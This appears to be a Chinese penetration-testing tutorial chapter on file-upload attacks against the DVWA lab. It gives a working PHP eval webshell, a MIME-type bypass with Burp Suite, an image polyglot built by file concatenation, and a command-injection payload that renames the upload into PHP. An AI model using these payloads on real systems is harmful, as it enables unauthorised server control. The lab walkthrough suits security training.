文件上传攻击实战
文章目录
11. 文件上传攻击实战
11.1 文件上传攻击概述
对黑客来说,进行 Web 渗透的目的就是为了拿下网站的控制权,甚至是服务器的控制权。前面章节所讲的攻击方式大多数都是为了能够拿到网站的控制权。当拿到网站的控制权之后,其实能够做的事情还相对较少,黑客一般都会通过上传 Webshell 来提权,使自己可以获得整台服务器的控制权。
Webshell 以 ASP、PHP、JSP 等网页文件形式存在的一种命令执行环境,也称其为一种网页后门,通过 Webshell 可以对所在服务器进行远程管理。简单的说,就是 Webshell 运行在哪台服务器上,黑客就可以通过连接该 Webshell 来控制这台服务器。所以黑客一般会想尽千方百计来把自己的 Webshell 上传至目标服务器。
Webshell 也称网页木马。一般把网页木马可以分为一句话木马、小马和大马。所谓一句话木马,就是这个木马的攻击代码通常非常简短,简短到只有一句话,但是却可以对服务器实现各种控制,功能非常强大,一般需要使用 “中国菜刀” 进行连接来实现控制;小马会提供自己的管理页面,无需专门的连接工具,攻击代码一般也比较简短;而大马也有自己的管理页面,而且功能最全面,但是攻击代码会比较多,导致木马文件容量比较大,很难通过文件容量的限制。
有了 Webshell,如何把它上传到目标服务器上就是难度最大的一件事了。一般网站都会有很多提供上传文件功能的页面,比如上传用户头像、上传帖子附件等。这些页面也就成了黑客的重点光顾对象。虽然一般提供文件上传功能的页面都会有各种防御措施,比如限制上传的文件类型必须是图片,检查文件头部来判断文件类型。但是免不了仍然会存在一些破绽,一旦发现了破绽导致黑客能够把 Webshell 上传到服务器,那么黑客就可以轻松获得服务器的控制权。
11.2 Low 级别文件上传攻击实战
- 安全级别设置为
Low
,点击File Upload
按钮进入文件上传攻击页面。发现是一个上传图片的页面,随便找一张图片文件(图片大小要小于 100K,前端有限制上传文件大小),可以成功上传到服务器,如图 11-1。按照返回的图片地址,可以访问到该图片,如图 11-2
图 11-1
图 11-2
- 创建一个 PHP 一句话木马,文件后缀为 php,代码如下:
1
|
<?php @eval($_POST[dmc]);?> //dmc 为变量,作用类似于连接的密码,可以自定义 |
- 把一句话木马进行上传,发现可以直接上传成功,如图 11-3
图 11-3
- 使用中国菜刀连接一句话木马。在菜刀中点击右键,添加,打开添加 SHELL 的对话框。在地址栏输入刚才上传的 PHP 一句话木马地址
http://192.168.75.100/dvwa/hackable/uploads/shell.php
,后面的文本框中填写刚才设置的变量dmc
,点击添加,如图 11-4
图 11-4
- 双击添加的
Shell
连接,可以管理目标服务器的整个硬盘数据,包括文件上传和下载,如图 11-5
图 11-4
- 右键点击
Shell
连接,点击 虚拟终端,打开命令执行环境,可以在目标服务器上执行命令,如图 11-5
图 11-5
11.3 Medium 级别文件上传攻击实战
实验前到网站目录下删除上个级别上传成功的一句话木马文件,避免影响下个级别实验效果的真实性
- 设置安全级别为
Medium
,进入文件上传攻击页面,查看页面源码,发现限制了上传文件的MIME
必须为image/jpeg
或者image/png
,并且限制文件大小不能超过 100K,如图 11-6
图 11-6
- MIME 类型可以通过篡改来绕过防御,而对于文件大小限制,一句话木马本来就小,基本不用考虑。我们这里可以通过
Burpsuite
抓包改MIME
来上传一句话木马。设置好Burpsuite
和浏览器的代理,拦截上传一句话木马的包,发现MIME
类型默认为application/octet-stream
,如图 11-7。我们修改成image/jpeg
或image/png
,再放行数据包,如图 11-8,发现可以成功上传,如图 11-9
图 11-7
图 11-8
图 11-9
- 使用菜刀连接,可以成功连接并进行管理,如图 11-10
图 11-10
11.4 High 级别文件上传攻击实战
实验前到网站目录下删除上个级别上传成功的一句话木马文件,避免影响下个级别实验效果的真实性
- 设置安全级别为
High
,进入文件上传攻击页面,查看页面源码,发现使用strrpos( $uploaded_name, '.' )
函数来截取文件名中最后一个 . 后面的字符,来识别为上传的文件的后缀名,并只接受后缀名为jpg
,jpeg
,png
的文件。这个方法主要的目的是为了防止利用 IIS6 的文件解析漏洞。另外还使用了getimagesize( $uploaded_tmp )
来获取文件头中的图片尺寸信息。读取不到尺寸信息则拒绝上传,如图 11-11
图 11-11
- 由于存在文件头的检查,所以我们只能找一张真正的图片文件,把一句话木马嵌入进去。在
Windows
中把一张正常的图片文件和一句话木马文件放置在同一个目录下,使用命令copy dmc5.jpg/b+shell.php/a shell.jpg
,会组合出一个携带一句话代码的shell.jpg
文件,如图 11-12。上传该文件,发现可以成功,如图 11-14
图 11-12
图 11-13
- 上传成功了,但由于图片仍然是
jpg
后缀,服务器不会把它当做PHP
文件解析,使用菜刀连接,果然连接失败,如图 11-14
图 11-14
- 由于 00 截断和文件解析漏洞早已无法使用,这里只能结合 DVWA 中其他攻击模块的漏洞来完成(严格来说,接下来已经不能算是单纯的文件上传攻击了)。点击
Command Injection
按钮,进入命令注入攻击模块,我们可以使用High
级别的命令注入漏洞来把上一步上传的shell.jpg
重命名为shell.php
,使一句话代码能够被当做PHP
解析。在命令注入页面中输入|ren D:\phpstudy\PHPTutorial\WWW\DVWA\hackable\uploads\shell.jpg shell.php
,如图 11-15
图 11-15
- 再次使用菜刀连接重命名之后的
Webshell
,连接地址http://192.168.75.100/dvwa/hackable/uploads/shell.php
,可以成功连接,说明文件被成功重命名,如图 11-16
图 11-16
11.5 Impossible 级别文件上传攻击
Impossible 级别的文件上传页面,查看源码,发现使用了 md5()
函数对上传的文件的文件名进行重命名,重命名为 MD5 散列运算之后的值。这个方法主要是为了防御通过 00 截断来解析一句话木马;同时使用了随机 Token 检查来增加修改数据包上传的难度,如图 11-17。另外,由于 Impossible
级别下,命令注入攻击也无法实施,所以该级别下,并没有文件上传漏洞
图 11-17